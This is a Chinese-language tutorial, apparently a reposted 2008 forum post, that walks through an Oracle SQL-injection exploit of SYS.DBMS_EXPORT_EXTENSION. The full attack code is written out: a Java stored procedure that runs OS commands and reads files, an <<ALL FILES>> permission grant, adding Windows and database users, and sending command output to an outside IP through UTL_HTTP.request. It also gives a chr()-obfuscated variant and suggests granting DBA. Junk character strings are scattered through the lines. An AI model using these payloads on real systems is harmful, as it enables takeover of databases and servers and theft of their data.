以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
) S3 @* \7 e+ t
' ~8 K, w9 |. u) H) q( C /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 2 M1 N; T& P% ~7 p4 V( h: w
的形式即可。(用" 'a'|| "是为了让语句返回true值) 5 F* J- q1 b; x6 F2 B
语句有点长,可能要用post提交。 ; t4 I" U7 U6 D2 c) ] s* e
以下是各个步骤: ; w0 x7 a# e! h* i' q$ p! P/ a/ h: p
1.创建包
+ f# h5 r. B6 E: r( Q" U通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:& e9 I/ _9 F/ x) N# y6 C, o0 L
/xxx.jsp?id=1 and '1'<>'a'||(
% |- N1 W) a& n+ S6 Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) C5 g/ X7 J: W) Q$ _: n8 D- m' J0 rcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(* R$ _* L' k, M3 W% \
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}; w# S2 T8 ?* j5 Z1 h! K
}'''';END;'';END;--','SYS',0,'1',0) from dual
- U2 [. O) @: G8 s' I) . H4 d3 Q N4 F
------------------------ 4 {6 _* E7 D/ P8 c' E
如果url有长度限制,可以把readFile()函数块去掉,即: " m1 u6 m. P/ j+ z' g
/xxx.jsp?id=1 and '1'<>'a'||(
. A$ Z: `9 V0 E1 h$ {& Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ L: O: u- U- _' d2 {# L& y
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
7 Q: ~! G0 [: ^9 inew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}( Q; V4 ` V" B# f
}'''';END;'';END;--','SYS',0,'1',0) from dual
& H: u! x2 U$ c$ R& Y) : O! u# @! N0 W. J0 h
同时把后面步骤 提到的 对readFile()的处理语句去掉。 3 l3 B8 u: ]* ^ B/ l
------------------------------ & H6 A& |6 ^/ N/ p% c
2.赋Java权限 ! o: b& M1 n7 N5 Z: t4 E, W4 k+ r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
( `0 b0 u0 R2 G, c! a8 c! B3.创建函数
' m9 U4 j$ S2 Y4 b1 ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# Q; f' k: y/ U$ w! V6 jcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
6 g' v9 b H8 j- T- c: H/ A: {* Q( h0 K8 wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% `$ _7 G9 U. s4 s, ^% Q% A, _create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
4 ]; f. J9 N) O0 o. Q" A8 B! R! `4.赋public执行函数的权限
, _7 d1 ?* Y9 B7 A N9 @ yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual# W) s, r. w; w0 T! a$ V+ v0 F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual! M! U3 M$ y1 M- T7 b1 a, P
5.测试上面的几步是否成功
8 C* A) t" s/ ~# Gand '1'<>'11'||(
2 ]1 M' V! @9 z G8 I' [( S, vselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
' F, s( h& o0 l. b( u; V)
0 [6 S6 w- @2 C: v7 zand '1'<>(
V5 z# @) k1 v* `select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
' P0 D) E W' B7 {)
4 U8 Z. n/ N- K i B6.执行命令:
, w+ [- d9 @" Q* Z; R/xxx.jsp?id=1 and '1'<>( : @" {- \* z6 G( F
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
[2 ?/ S: b; D8 m$ m
0 x* Z7 Y* C; n) % a9 e+ r; A% K: W
/xxx.jsp?id=1 and '1'<>(
6 w; v# E' c# e1 @7 xselect sys.LinxReadFile('c:/boot.ini') from dual7 k, h% H) S) c; U- L% e
4 m! a" E1 Q" H7 E7 O) h: J
)6 I; `8 v. d ~' \
+ w+ u* c- G; K! y3 K+ p0 {注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 : M' r3 `8 M- P. c9 @% E
如果要查看运行结果可以用 union : 7 p, c" m$ D) h% s) b* z' s! q; Z
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
' r- L. y8 S1 d7 K+ X4 D) R# Y或者UTL_HTTP.request(:
- w% k# a% Q' Z) f/xxx.jsp?id=1 and '1'<>(
, S8 P: Q7 u8 d+ L6 I, |SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
6 V/ l) i) }, T' ~3 q# i: q! v)
6 u' `$ S: I+ \% R/xxx.jsp?id=1 and '1'<>(
8 e( z2 j( e6 }" I: D! x* n" G `SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
& f. q+ g& N! R( r4 F( d1 ?) 0 _6 b' J3 S) A/ ~7 t! C# x; ?
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
. E, j! q# e6 J l--------------------
2 `& s0 }; T, z- t6.内部变化
/ y( ^$ u% {; X* P/ I4 d, [通过以下命令可以查看all_objects表达改变:
& J4 i V Y& uselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
1 l+ Y | G6 E* z7.删除我们创建的函数 1 u; R) Z& W: i3 H( w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 T2 a3 j/ {/ Z9 \0 V$ U
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
, }. H% S. U3 G- X====================================================
( X0 b N# |$ j% A2 m) G0 ~# f: x全文结束。谨以此文赠与我的朋友。
1 A, v6 R0 ]8 k- plinx 7 ], i, D6 a, i$ A# p% J% \1 R, w% g
124829445 ' q' H# d: {. c- M; U
2008.1.12
) f; l! E- { a' I1 elinyujian@bjfu.edu.cn : G% e8 R; M! Y, I4 I+ z
====================================================================== ) w* R8 j+ C5 t. K! x+ t
测试漏洞的另一方法:
. r" P* G* b( |$ P+ t$ b- \创建oracle帐号: / P% }, ] H& o' G( h, n
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' j! l1 H* p( M0 y1 `
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
9 p' X" Z+ T+ {5 B* i即: : `# n1 E I! X5 U4 h e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
' R8 `4 w2 U F" j0 ?chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
: Y" p* Y7 k% m% H6 {确定漏洞存在: 4 h' a9 [( r. G& \
1<>(
- a' |. W# e6 X `" \) q6 Uselect user_id from all_users where username='LINXSQL' 0 M. S% m7 w+ }8 U$ m7 P
) ; J" o, }1 A2 S, A+ T( {
给linxsql连接权限:
/ |! u) V. \: H! zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 V* c/ X+ c0 C1 q
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
6 b* [% s7 v+ U+ }删除帐号:
$ m1 `! z% R; [8 W. x% {# Cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# u: t, O! f0 _% q2 U# ddrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 0 v! Y1 a% Y% F
======================
H5 V0 K3 Z: Z: m: A以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:2 s5 J9 ]$ L! n4 B
1.jsp?id=1 and '1'<>( ; }3 i- D$ c- U% Q( ~, I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* t; y+ V$ Q' S& E0 z3 Ycreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual+ \) o8 M1 e$ X3 S5 ?) ]5 X
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE- G( m: z& k# P; B, g% a4 ^' J
) l5 e$ H* `! a9 I
, E, i" _) n, y, e# z9 h4 A* A
3 u8 X2 F+ f. j$ u% N
: C% ]8 h7 T8 {4 D) P- l P! } |